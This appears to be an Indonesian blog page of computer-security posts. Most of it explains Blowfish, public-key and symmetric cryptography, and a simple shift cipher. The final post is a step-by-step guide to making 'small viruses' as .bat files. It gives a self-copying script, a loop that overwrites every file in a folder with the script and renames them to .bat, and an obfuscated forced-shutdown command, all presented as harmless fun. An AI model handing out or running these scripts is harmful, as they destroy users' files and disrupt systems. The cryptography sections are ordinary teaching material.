Met datang ing dunia Maia "HaZzRoCK", "Barokah yang Baek harapan seorang Ayah. HaZzRoCK sebuah singkatan Manis dari sebuah Asma"
Tampilkan postingan dengan label Keamanan Komputer. Tampilkan semua postingan
Tampilkan postingan dengan label Keamanan Komputer. Tampilkan semua postingan

Enkripsi Blowfish

Blowfish alias “OpenPGP.Cipher.4″ merupakan enkripsi yang termasuk dalam golongan Symmetric Cryptosystem , metoda enkripsinya mirip dengan DES (DES-like Cipher) diciptakan oleh seorang Cryptanalyst bernama Bruce Schneier Presiden perusahaan Counterpane Internet Security, Inc (Perusahaan konsultan tentang kriptografi dan keamanan Komputer) dan dipublikasikan tahun 1994. Dibuat untuk digunakan pada komputer yang mempunyai microposesor besar (32-bit keatas dengan cache data yang besar). Blowfish dikembangkan untuk memenuhi kriteria desain yang cepat dalam implementasinya dimana pada keadaan optimal dapat mencapai 26 clock cycle per byte, kompak dimana dapat berjalan pada memori kurang dari 5 KB, sederhana dalam algoritmanya sehingga mudah diketahui kesalahannya, dan keamanan yang variabel dimana panjang kunci bervariasi (minimum 32 bit, maksimum 448 bit, Multiple 8 bit, default 128 bit).Blowfish dioptimasikan untuk berbagai aplikasi dimana kunci tidak sering berubah, seperti pada jaringan komunikasi atau enkripsi file secara otomatis. Dalam pengimplementasiannya dalam komputer bermicroprosesor 32-bit dengan cache data yang besar (Pentium dan Power PC) Blowfish terbukti jauh lebih cepat dari DES. Tetapi Blowfish tidak cocok dengan aplikasi dengan perubahan kunci yang sering atau sebagai fungsi hast satu arah seperti pada aplikasi packet switching. Blowfish pun tidak dapat digunakan pada aplikasi kartu pintar (smart card) karena memerlukan memori yang besar. Blowfish termasuk dalam enkripsi block Cipher 64-bit dangan panjang kunci yang bervariasi antara 32-bit sampai 448-bit.Algoritma Blowfish terdiri atas dua bagian :

Key-Expansion

Berfungsi merubah kunci (Minimum 32-bit, Maksimum 448-bit) menjadi beberapa array subkunci (subkey) dengan total 4168 byte.

Enkripsi Data

Terdiri dari iterasi fungsi sederhana (Feistel Network) sebanyak 16 kali putaran. Setiap putaran terdiri dari permutasi kunci-dependent dan substitusi kunci- dan data-dependent. Semua operasi adalah penambahan (addition) dan XOR pada variabel 32-bit. Operasi tambahan lainnya hanyalah empat penelusuran tabel (table lookup) array berindeks untuk setiap putaran.

Algoritma Blowfish

Blowfish menggunakan subkunci yang besar. Kunci tersebut harus dihitung sebelum enkripsi atau dekripsi data. Blowfish adalah algoritma yang menerapkan jaringan Feistel (Feistel Network) yang terdiri dari 16 putaran. Input adalah elemen 64-bit,X.Untuk alur algoritma enkripsi dengan metoda Blowfish dijelaskan sebagai berikut :

1. Bentuk inisial P-array sebanyak 18 buah (P1,P2,…………..P18) masing-msing bernilai 32-bit.

Array P terdiri dari delapan belas kunci 32-bit subkunci :

P1,P2,…….,P18

2. Bentuk S-box sebanyak 4 buah masing-masing bernilai 32-bit yang memiliki masukan 256.

Empat 32-bit S-box masing-masing mempunyai 256 entri :

S1,0,S1,1,………………..,S1,255

S2,0,S2,1,………………..,S2,255

S3,0,S3,1,………………..,S3,255

S4,0,S4,1,………………..,S4,255

3. Plaintext yang akan dienkripsi diasumsikan sebagai masukan, Plaintext tersebut diambil sebanyak 64-bit, dan apabila kurang dari 64-bit maka kita tambahkan bitnya, supaya dalam operasi nanti sesuai dengan datanya.

4. Hasil pengambilan tadi dibagi 2, 32-bit pertama disebut XL, 32-bit yang kedua disebut XR.

5. Selanjutnya lakukan operasi XL = XL xor Pi dan XR = F(XL) xor XR

6. Hasil dari operrasi diatas ditukar XL menjadi XR dan XR menjadi XL.

7. Lakukan sebanyak 16 kali, perulangan yang ke-16 lakukan lagi proses penukaran XL dan XR.

8. Pada proses ke-17 lakukan operasi untuk XR = XR xor P17 dan XL = XL xor P18.

9. Proses terakhir satukan kembali XL dan XR sehingga menjadi 64-bit kembali.

Berikut dapat dilihat dalam gambar algoritma blowfish dan flowchartnya

Subkunci dihitung menggunakan algoritma Blowfish, metodanya adalah sebagai berikut :

  • Pertama-tama inilialisasi P-array dan kemudian empat S-box secara berurutan dengan string yang tetap. String ini terdiri atas digit hexadesimal dari Pi.
  • XOR P1 dengan 32-bit pertama kunci, XOR P2 dengan 32-bit kedua dari kunci dan seterusnya untuk setiap bit dari kunci (sampai P18).Ulangi terhadap bit kunci sampai seluruh P-array di XOR dengan bit kunci.
  • Enkrip semua string nol dengan algoritma Blowfish dengan menggunakan subkunci seperti dijelaskan pada langkah (1) dan (2).
  • Ganti P1 dan P2 dengan keluaran dari langkah (3).
  • Enkrip keluaran dari langkah (3) dengan algoritma Blowfish dengan subkunci yang sudah dimodifikasi.
  • Ganti P3 dan P4 dengan keluaran dari langkah (5).
  • Lanjutkan proses tersebut, ganti seluruh elemen dari P-array, kemudian seluruh keempat S-box berurutan, dengan keluaran yang berubah secara kontiyu dari algoritma Blowfish.

Total yang diperlukan adalah 521 iterasi untuk menghasilkan semua subkunci yang dibutuhkan. Aplikasi kemudian dapat menyimpan subkunci ini dan tidak membutuhkan langkah-langkah proses penurunan berulang kali, kecuali kunci yang digunakan berubah.

Untuk deskripsi sama persis dengan enkripsi, kecuali pada P-array (P1,P2,……..,P18) digunakan dengan urutan terbalik atau di inverskan.

Keamanan Blowfish

Sampai saat ini algoritma Blowfish belum ditemukan kelemahan yang berarti hanya adanya weak key dimana dua entri dari S-box mempunyai nilai yang sama. Belum ada cara untuk mengecek weak key sebelum melakukan key expansion, tetapi hal ini tidak berpengaruh terhadap hasil enkripsi. Hasil enkripsi dengan algoritma Blowfish sangat tidak mungkin dan tidak praktis untuk di terjemahkan tanpa bantuan kunci. Sampai kini belum ada Cryptanalysis yang dapat membongkar pesan tanpa kunci yang enkripsi oleh Blowfish. Agar aman dari pembongkaran pesan maka dalam algoritmanya harus menggunakan 16 putaran agar pesan tersebut tidak dapat dibongkar. Algoritma Blowfish pun dapat digabungkan dengan algoritma-algoritma enkripsi yang lain dalam pengkripsian sebuah pesan untuk lebih menjamin isi dari pesan tersebut.


sourcecOce blowfish..

http://purbasari.wordpress.com/2007/12/28/algoritma-blowfish/

Read More..

Public Key Crypography

Public Key Crypography

Kriptografi merupakan kumpulan teknik untuk mengenkode data dan pesan sedemikian sehingga data dan pesan tersebut dapat disimpan dan ditransmisikan dengan aman. Berikut ini beberapa terminologi dasar dari kriptografi serta hal-hal yang berkaitan dengan terminologi tersebut,

    • Kriptografi dapat digunakan untuk meningkatkan keamanan komunikasi meskipun komunikasi tersebut dilakukan dengan media komunikasi yang sangat tidak aman (misalnya Internet). Kita juga dapat menggunakan kriptografi untuk melakukan enkripsi file-file sensitif kita, sehingga orang lain tidak dapat mengartikan data-data yang ada

    • Kriptografi dapat digunakan untuk memberikan jaminan integritas data serta menjaga kerahasiaan

    • Dengan menggunakan kriptografi, maka sangat mungkin untuk meverifikasi asal data dan pesan yang ada menggunakan digital signature

    • Pada saat menggunakan metoda kriptografi, hanya kunci sesi yang harus tetap dijaga kerahasiannya. Algoritma, ukuran kunci dan format file dapat dibaca oleh siapapun tanpa mempengaruhi keamanan.

Kriptografi memungkinkan beberapa operasi atau proses terhadap data. Dua buah operasi dasar adalah enkripsi (dengan dekripsi sebagai proses balikannya) dan signing (dengan verifikasi dari signature sebagai proses balikannya). Enkripsi analog dengan memasukkan surat kedalam sebuah amplop sedangkan dekripsi analog dengan membuang amplop dan mengambil data. Signature analog dengan pemberian tanda-tangan terhadap sebuah dokumen dan penanda bahwa dokumen tersebut tidak berubah dari aslinya.


Public Key Cryptography dan Fungsi Satu Arah

Public key cryptography (lawan dari symmetric key cryptography) bekerja berdasarkan fungsi satu arah. Fungsi yang dapat dengan mudah dikalkulasi akan tetapi sangat sulit untuk dibalik/invers atau reverse tanpa informasi yang mendetail. Salah satu contoh adalah faktorisasi; biasanya akan sulit untuk memfaktorkan bilangan yang besar, akan tetapi mudah untuk melakukan faktorisasi. Contohnya, akan sangat sulit untuk memfaktorkan 4399 daripada memverifikasi bahwa 53 x 83 = 4399. Public key cryptography menggunakan sifat-sifat asimetrik ini untuk membuat fungsi satu arah, sebuah fungsi dimana semua orang dapat melakukan satu operasi (enkripsi atau verifikasi sign) akan tetapi sangat sulit untuk menginvers operasi (dekripsi atau membuat sign) tanpa informasi yang selengkap-lengkapnya.

Public key cryptography dilakukan dengan menggabungkan secara kriptografi dua buah kunci yang berhubungan yang kita sebut sebagai pasangan kunci publik dan kunci privat. Kedua kunci tersebut dibuat pada waktu yang bersamaan dan berhubungan secara matematis. Secara matematis, kunci privat dibutuhkan untuk melakukan operasi invers terhadap kunci public dan kunci publik dibutuhkan untuk melakukan operasi invers terhadap operasi yang dilakukan oleh kunci privat.

Jika kunci publik didistribusikan secara luas, dan kunci privat disimpan di tempat yang tersembunyi maka akan diperoleh fungsi dari banyak ke satu. Semua orang dapat menggunakan kunci publik untuk melakukan operasi kriptografi akan tetapi hanya orang yang memegang kunci privat yang dapat melakukan invers terhadap data yang telah terenkripsi tersebut. Selain itu dapat juga diperoleh fungsi dari satu ke banyak, yaitu pada saat orang yang memegang kunci privat melakukan operasi enkripsi maka semua orang yang memiliki kunci publik dapat melakukan invers terhadap data hasil enkripsi tersebut.

Symmetric Cryptography

Algoritma simetrik merupakan jenis algorima enkripsi yang paling umum dan paling tua. Algoritma ini disebut sebagai simetrik sebab kunci yang sama digunakan untuk enkripsi dan dekripsi. Berbeda halnya dengan kunci yang digunakan pada algoritma kunci publik, kunci yang digunakan pada simetrik key biasanya sering diubah-ubah. Oleh karena itu biasanya kunci pada simetrik key disebut sebagai session key, artinya kunci yang dipakai hanya pada satu sesi proses enkripsi.

Jika dibandingkan dengan algoritma kunci publik, algoritma simetrik key sangat cepat dan oleh karena itu lebih cocok jika digunakan untuk melakukan enkripsi data yang sangat besar. Salah satu algoritma simetrik yang dikenal adalah RC4 dan DES (Data Encryption Standar).

Protokol kriptografi modern pada saat ini banyak yang menggabungkan algoritma kunci publik dengan algoritma simetrik untuk memperoleh keunggulan-keunggulan pada masing-masing algoritma. Algoritma kunci publik digunakan untuk proses pertukaran session key yang berukuran kecil sekitar 16 bytes , sedangkang algoritma simetrik digunakan untuk melakukan enkripsi data yang sesungguhnya.

Enkripsi dan Dekripsi

Dengan menggunakan teknik enkripsi data, sebuah pesan text dapat dienkode sedemikian sehingga sangat tidak beraturan dan sulit untuk dikembalikan ke pesan asal tanpa kunci rahasia. Pesan tersebut dapt berupa ASCII, file database atau data apapun yang akan kita kirimkan atau kita simpan melalui media yang tidak aman. Dalam kontek kriptografi, plaintext adalah data yang belum di enktripsi sedangkan ciphertext adalah data yang telah dienkripsi.

Jika sebuah pesan telah dienkripsi maka pesan tersebut dapat disimpan atau ditransmisikan dalam media yang tidak aman namun tetap terjaga kerahasiannya. Kemudian, pesan tersebut dapat didekripsi kedalam bentuk aslinya. Ilustrasi proses tersebut dapat dilihat pada gambar dibawah.



Pada saat pesan dienkripsi maka kunci enkripsi digunakan untuk proses tersebut. Hal ini analog dengan kunci yang biasa kita gunakan untuk mengunci gembok pintu. Untuk mendekripsikan pesan, maka kunci dekripsi yang cocok harus digunakan. Dalam hal ini, sangatlah penting untuk membatasi akses kepada kunci dekripsi, sebab semua orang yang dapat melihat kunci dekripsi berarti dapat pula mendekripsikan semua pesan yang telah dienkripsi dengan menggunakan kunci enkripsi yang bersesuaian.

  1. Hash dan Digital Signature

Digital signature digunakan ketika kita ingin memberikan plaintext dan kita ingin bahwa penerima pesan mengetahui bahwa pesan tersebut datangnnya dari kita dan tidak ada perubahan apapund didalam pesan selama proses penyimpanan atau transmisi. Melakukan signing terhadap pesan tidak akan mengubah isi serta bentuk pesan tersebut, dan hasil sign dapat kita sisipkan atau kita simpan dalam bentuk lain untuk menyertai pesan asli.

Digital signature dapat dihasilkan dengan menggunakan algoritma kunci publik. Sebuah kunci privat digunakan untuk menghasilkan signature dan kunci publik yang bersesuaian digunakan untuk mevalidasi sign.

Digital signature memberikan keuntungan tambahan selain enkripsi. Dengan cara ini, pengguna dapat memperoleh jaminan bahwa pesan yang diterima berasal dari pemberi sign dan isinya tidak berubah sama seperti pada saat dilakukan sign. Dokumen dapat saja hanya diberi sign tanpa dienkripsi, akan tetapi satu hal yang harus kita ingat bahwa proses enkripsi yang baik selalu diawali dengan proses signing.

Sign digital dibuat dengan mengenkripsi hash dari dokumen dengan kunci privat. Hash dari dokumen biasanya merupakan sidik jari miniatur dari dokumen yang bersangkutan. Fungsi hash yang digunakan disini sama dengan fungsi hash yang digunakan sehari-hari dimana input berapapun akan menghasilkan output 16 byte (128 bit). Karena hash merupakan fungsi satu arah, maka sangat sulit untuk membuat dokumen lain yang memiliki hash string yang sama. Ilustrasi berikut ini menggambarkan proses signing.





Kesimpulan

Teknik kriptografi dengan menggunakan kunci publik akan tetap berkembang berdasarkan meningkatnya kebutuhan akan sistem keamanan data yang lebih tinggi. Dengan menggabungkan kekuatan enkripsi algoritma kunci publik dan kecepatan enkripsi algoritma simetrik maka akan diperoleh sistem enkripsi yang kuat dan memiliki proses yang cepat.


Read More..

Belajar Enkripsi Yuu...'

Kali ini kita bersama-sama akan mencoba belajar kemanan komputer, yakni tentang enkripsi. Berikut sekilas tentang Enkripsi yang mungkin akan memberikan pandangan tentang bagaimana, dan apa itu enkripsi.

Bagi orang-orang yang sering berkecimpung di dunia informatika / komputer insya Allah sering mendengar istilah enkripsi ada juga yang pernah mendengar istilah encode, begitu juga istilah kripografi.

Enkripsi ialah proses mengamankan suatu informas idengan membuat informasi tersebut tidak dapat dibaca tanpa bantuan pengetahuan khusus. Dikarenakan enkripsi telah digunakan untuk mengamankan komunikasi di berbagai negara, hanya organisasi-organisasi tertentu dan individu yang memiliki kepentingan yang sangat mendesak akan kerahasiaan yang menggunakan enkripsi. dan saat ini enkripsi telah digunakan pada sistem secara luas, seperti Internet e-commerce, jaringan Telepon bergerak dan ATM pada bank.

Enkripsi dapat digunakan untuk tujuan keamanan, tetapi teknik lain masih diperlukan untuk membuat komunikasi yang aman, terutama untuk memastikan integritas dan autentikasi dari sebuah pesan. Contohnya, Message Authentication Code (MAC) atau digital signature. Penggunaan yang lain yaitu untuk melindungi dari analisis jaringan komputer.

Tujuan sebenarnya teknik-teknik dengan istilah-istilah di atas adalah untuk menyamarkan data asli menjadi data baru dalam bentuk atau format lain, supaya orang lain selain si pemilik hak akses ke data tersebut tidak bisa melihat atau mengaksesnya.

Biasanya digunakan untuk mengamankan data, jaga-jaga kalau data tersebut jatuh ke tangan orang lain yang tidak berhak. Baik itu untuk disimpan sendiri maupun untuk tujuan pengiriman data ke orang lain.

Ilustrasi Enkripsi

Misal kita punya sebuah data X, kita sandikan menggunakan teknik penyandian F, maka akan dihasilkan data baru (sudah tersamarkan) yaitu Z.

F
X ---> Z

Sedangkan untuk membalikkan ke bentuk asli atau dikenal dengan dekripsi adalah tinggal membalik fungsi penyandian tersebut, ilustrasi sederhananya adalah:

-F
X <--- Z

Baiklah, studi kasus...

Kita punya huruf abjad:

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

B C D E F G H I J K L M N O P Q R S T U V W X Y Z A

Susunan karakter berikut adalah metode enkripsi atau penyamarannya, Anda bisa menebaknya bukan?

Betul sekali. Sedikit kita ulas tentang fungsi dalam matematika:

Z = X + 1 (Jadi, fungsi penyandinya adalah karakter asli di tambah satu)

Contoh, kita punya kalimat: G A L I H H E R M AWA N

Dengan menggunakan fungsi: H B M J I I F S N B X B O

Bagaimana, mudah kan? Lalu bagaimana membaliknya ke bentuk aslinya?
OK. Kita sudah tahu rumusnya, bahwa:

KARAKTER BARU = KARAKTER LAMA + 1

Untuk membalik berarti:

KARAKTER LAMA = KARAKTER BARU - 1

Fungsi: X = Z - 1

Memang rumus ini terlalu mudah, namun tidak apa-apa, supaya membantu kita, terutama bagi yang belum paham apa itu enkripsi dan bagaimana cara kerjanya.












Beberapa metode penyandian (alias algoritma enkripsi) yang bisa digunakan di antaranya:
- RC2
- RC5
- RC6
- SAFER
- dll

Sedangkan berikut ini contoh algoritma yang tidak ada fungsi pembalik atau penerjemah ke bentuk aslinya

- HAVAL
- MD4
- MD5
- SHA-0
- SHA-1
- WHIRLPOOL
- dll

http://galih.eu/2009/02/19/belajar-enkripsi-encode-kriptografi/

Read More..

Analisa Virus Brontok

Ringkasan ini tidak tersedia. Harap klik di sini untuk melihat postingan.

Read More..

Buat virus kecil-kecilan dengan mengunakan notepad


Hari ini dapet pelajaran kemanan komputer dari pak Arif tentang Bagaimana cara membuat virus, begitu OL langsung browsing dapet dari pengalaman temen yang berguru pada teman sepermainannya

Hari ini aku dapat temen baru yang memberiku banyak latihan berharga untuk buat virus kecil-kecilan dengan mengunakan notepad, yang berextensi *.Bat.
Ingin tahu caranya????? Ikuti langkah di bawah ini!!!



1. Membuat Virus yang Mengkopi ke folder
a. Buka notepad terlebih dahulu
b. Lalu ketikkan list dibawah ini

Copy %0 c:\vires.Bat ket: - Copy %0

Ini list untuk perintah kopy - c:\ adalah dimana virus itu tercopy, akan terkopy di drive C - Vires.bat adalah nama virusitu sendiri, jadi terserah kalian mau pake nama apa

c. Lalu setelah itu disimpan dengan extensi *.Bat (dapat disimpan dimana saja)

d. Setelah itu jalankan virus tersebut. Dan lihat hasilnya di drive C. (kalo berhasil akan ada nama virus tersebut disitu.


2. Membuat Virus yang menginfeksi txt,doc,jpg,gif,exl,dll.

a. Kita buat folder kosong dimana pun.

b. Lalu kita isi folder tersebut terserah, usahakan isi dengan extensi txt,jpg,doc,dll. Untuk coba saja.

c. Lalu buka notepad lagi, yah yang kayak tadi

d. Ketikkan list dibawah ini, ato kopy saja kalo gak mau susah! For %%v in (*) do copy %0 "%%v" ren * *.Bat

e. Setelah itu simpan virus ini dalam folder yang telah kita siapkan tadi, dengan extensi sama *.Bat f. Setelah itu jalankan virus tersebut!!! Virus ini akan merusak file yang tersimpan dalam folder tadi (tenang ja, yang rusak hanya yang didalam folder).


3. Virus untuk merestart komputer dengan menggunakan notepad.

a. Kita langsung buka notepad

b. Lalu ketikan list dibawah ini: sh%r%ut%r%dow%r%n.E%r%xe -r -t 0 -f

c. lalu simpan dengan extensi *.Bat d. Lalu jalankan dengan klik 2 kali. Sebelum itu tutup semua pekerjaan yang anda buka Selamat dilakukan,,,,,,Dijamin asyik kok,,,dan jangan kawatir untuk merusak komputer anda






Read More..